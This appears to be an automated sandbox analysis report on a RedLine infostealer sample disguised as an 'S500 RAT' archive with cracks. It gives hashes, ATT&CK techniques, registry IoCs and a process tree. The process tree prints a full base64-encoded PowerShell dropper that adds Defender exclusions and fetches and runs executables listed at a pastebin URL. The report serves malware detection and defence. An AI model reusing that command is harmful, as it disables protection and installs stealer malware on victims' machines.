redline | 2e466546d957cccb664961cecbe93fdfa718115b2d17419e1a13a5ad8fceeab2

General

Target

S500 RAT.zip
Size

40.4MB
MD5

148feb47315d32610c00f3f5db8a1e7b
SHA1

cb14479bdef8aa05fbcf4b845c42d890dd19fd96
SHA256

2e466546d957cccb664961cecbe93fdfa718115b2d17419e1a13a5ad8fceeab2
SHA512

e70e12d459aa503bdea92e191f92e6b05e71ac3638b8c003139a73579c34a8feac6ab7835ed68edeebfdf29f1f463bcab83b50bdf4209df470e8318956e4b529
SSDEEP

786432:q0Y+JAFl0rE/WmcnKPloVCcEjIi/O/mK+fP1JqsvGnPm5WgTutHHJEDTJbM:YFu4EnMloOIiBBq3PguBpwTZM

Score

10^/10

redline defense_evasion discovery infostealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://pastebin.com/raw/p2s7tDSd

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral1/memory/4408-235-0x0000000000BA0000-0x0000000000BF6000-memory.dmp	family_redline
behavioral1/memory/428-307-0x0000000000900000-0x0000000000956000-memory.dmp	family_redline
behavioral1/memory/4104-312-0x0000000000D70000-0x0000000000DC6000-memory.dmp	family_redline

Redline family
redline

Blocklisted process makes network request 1 IoCs

flow	pid	Process
28	1664	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	S500RAT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	S500RAT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	blackCC.exe

Executes dropped EXE 6 IoCs

pid	Process
2908	S500RAT.exe
4408	build.exe
1404	S500RAT.exe
4812	blackCC.exe
428	crack.exe
4104	crack.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	pastebin.com
28	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	S500RAT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blackCC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crack.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crack.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	S500RAT.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1664	powershell.exe
1664	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeRestorePrivilege	4276	7zFM.exe
Token: 35	4276	7zFM.exe
Token: SeSecurityPrivilege	4276	7zFM.exe
Token: SeDebugPrivilege	1664	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4276	7zFM.exe
4276	7zFM.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 4408	2908	S500RAT.exe	95
PID 2908 wrote to memory of 4408	2908	S500RAT.exe	95
PID 2908 wrote to memory of 4408	2908	S500RAT.exe	95
PID 2908 wrote to memory of 1404	2908	S500RAT.exe	97
PID 2908 wrote to memory of 1404	2908	S500RAT.exe	97
PID 2908 wrote to memory of 1404	2908	S500RAT.exe	97
PID 1404 wrote to memory of 4812	1404	S500RAT.exe	98
PID 1404 wrote to memory of 4812	1404	S500RAT.exe	98
PID 1404 wrote to memory of 4812	1404	S500RAT.exe	98
PID 4812 wrote to memory of 1664	4812	blackCC.exe	101
PID 4812 wrote to memory of 1664	4812	blackCC.exe	101
PID 4812 wrote to memory of 1664	4812	blackCC.exe	101

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\S500 RAT.zip"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4276

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4396

C:\Users\Admin\Desktop\S500 RAT\S500RAT.exe
"C:\Users\Admin\Desktop\S500 RAT\S500RAT.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Users\Admin\AppData\Local\Temp\build.exe
  "C:\Users\Admin\AppData\Local\Temp\build.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4408
- C:\Users\Admin\AppData\Local\Temp\S500RAT.exe
  "C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Users\Admin\AppData\Local\Temp\blackCC.exe
    "C:\Users\Admin\AppData\Local\Temp\blackCC.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4812
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAeAB3ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbAByAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQByAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBxAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGIAaQBuAC4AYwBvAG0ALwByAGEAdwAvAHAAMgBzADcAdABEAFMAZAAnACkALgBTAHAAbABpAHQAKABbAHMAdAByAGkAbgBnAFsAXQBdACIAYAByAGAAbgAiACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AE4AbwBuAGUAKQA7ACAAJABmAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAUgBhAG4AZABvAG0ARgBpAGwAZQBOAGEAbQBlACgAKQA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAPAAjAGgAeABhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbQB3AGMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZQBhAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAKQAgAH0APAAjAGIAegBzACMAPgA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHAAdQB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBkAGoAeQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQAgAH0AIAA8ACMAcgBtAHIAIwA+AA=="
      4⤵
      Blocklisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1664

C:\Users\Admin\Desktop\S500 RAT\crack.exe
"C:\Users\Admin\Desktop\S500 RAT\crack.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:428

C:\Users\Admin\Desktop\S500 RAT\crack.exe
"C:\Users\Admin\Desktop\S500 RAT\crack.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\S500RAT.exe

Filesize
17.8MB

MD5
e5f9792d0889af4fb6c295c5e0d74cee

SHA1
1aabebd0923a3e4e1772b48294c7b0fc86973e71

SHA256
c5f99ca677d1b5aade06ab17adfa2a5c064c89e2f52875aefbca071ae2189f7f

SHA512
4290a88de6fb0e6f851beff8577467760d1fa6afeda0d8a0afd50f6f7ad77d3960c0742260bdc87154c828a67f5807680dc8093386bbcd0ab97ccf8091b1b288

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q03bbmdz.wbv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\blackCC.exe

Filesize
72KB

MD5
462b459a2560b65a657cfecce53d682a

SHA1
f0ce24faf42d2d1453c4f18fda0223b83486e5ae

SHA256
00502647989c700d1cbf37685fcdf3a81d9302fb792edabecb5a211c5cdff0db

SHA512
5d88eb5c91dd772d0c6f54e5d799639e1fd59d4dcf112674d065b76bb3ab048442cccc13f2f031f611b9632a223c961c7ad43f09a06b33d2f92adec7da9ff88b

Download Submit
C:\Users\Admin\AppData\Local\Temp\build.exe

Filesize
506KB

MD5
e5fb57e8214483fd395bd431cb3d1c4b

SHA1
60e22fc9e0068c8156462f003760efdcac82766b

SHA256
e389fc5782f754918a10b020adcd8faa11c25658b8d6f8cbc49f9ac3a7637684

SHA512
dc2ed0421db7dd5a3afeacb6a9f5017c97fc07d0b2d1745b50ede50087a58245d31d6669077a672b32541dbfa233ef87260a37be48de3bd407d8c587fc903d89

Download Submit
C:\Users\Admin\Desktop\S500 RAT\S500RAT.exe

Filesize
18.8MB

MD5
f940122c21ea007b2867c03d31fa430c

SHA1
efc7dada2c5f732df107a900277a04a57d2354bb

SHA256
8587703a22f7b8d33fdcd3f3328344710c1c126a3cb18ccdfb0ff4d18bb0222c

SHA512
6cc779db44162fb2b60bf5da0dff711a106a1626434b2ef4e39e658e40a39cbb3074c5836a94ec8ceddbf78cebaf254278a125479abcf1797c5dc5f77a2bb99c

Download Submit
memory/428-307-0x0000000000900000-0x0000000000956000-memory.dmp

Filesize
344KB

Download
memory/1404-264-0x0000000000400000-0x00000000015D4000-memory.dmp

Filesize
17.8MB

Download
memory/1664-294-0x0000000007B20000-0x000000000819A000-memory.dmp

Filesize
6.5MB

Download
memory/1664-281-0x0000000007350000-0x0000000007382000-memory.dmp

Filesize
200KB

Download
memory/1664-302-0x0000000007740000-0x0000000007748000-memory.dmp

Filesize
32KB

Download
memory/1664-301-0x0000000007750000-0x000000000776A000-memory.dmp

Filesize
104KB

Download
memory/1664-300-0x0000000007710000-0x0000000007724000-memory.dmp

Filesize
80KB

Download
memory/1664-265-0x0000000004BC0000-0x0000000004BF6000-memory.dmp

Filesize
216KB

Download
memory/1664-266-0x0000000005340000-0x0000000005968000-memory.dmp

Filesize
6.2MB

Download
memory/1664-267-0x00000000052C0000-0x00000000052E2000-memory.dmp

Filesize
136KB

Download
memory/1664-269-0x0000000005B40000-0x0000000005BA6000-memory.dmp

Filesize
408KB

Download
memory/1664-268-0x0000000005A20000-0x0000000005A86000-memory.dmp

Filesize
408KB

Download
memory/1664-299-0x0000000007700000-0x000000000770E000-memory.dmp

Filesize
56KB

Download
memory/1664-279-0x0000000005CB0000-0x0000000006004000-memory.dmp

Filesize
3.3MB

Download
memory/1664-280-0x0000000006160000-0x000000000617E000-memory.dmp

Filesize
120KB

Download
memory/1664-298-0x00000000076E0000-0x00000000076F1000-memory.dmp

Filesize
68KB

Download
memory/1664-282-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/1664-292-0x0000000006740000-0x000000000675E000-memory.dmp

Filesize
120KB

Download
memory/1664-293-0x0000000007390000-0x0000000007433000-memory.dmp

Filesize
652KB

Download
memory/1664-297-0x0000000007780000-0x0000000007816000-memory.dmp

Filesize
600KB

Download
memory/1664-295-0x00000000074E0000-0x00000000074FA000-memory.dmp

Filesize
104KB

Download
memory/1664-296-0x0000000007530000-0x000000000753A000-memory.dmp

Filesize
40KB

Download
memory/2908-247-0x0000000000400000-0x00000000016D3000-memory.dmp

Filesize
18.8MB

Download
memory/4104-312-0x0000000000D70000-0x0000000000DC6000-memory.dmp

Filesize
344KB

Download
memory/4408-252-0x00000000055C0000-0x00000000055FC000-memory.dmp

Filesize
240KB

Download
memory/4408-249-0x0000000005B60000-0x0000000006178000-memory.dmp

Filesize
6.1MB

Download
memory/4408-250-0x0000000005560000-0x0000000005572000-memory.dmp

Filesize
72KB

Download
memory/4408-251-0x0000000005690000-0x000000000579A000-memory.dmp

Filesize
1.0MB

Download
memory/4408-253-0x0000000005610000-0x000000000565C000-memory.dmp

Filesize
304KB

Download
memory/4408-235-0x0000000000BA0000-0x0000000000BF6000-memory.dmp

Filesize
344KB

Download

Analysis

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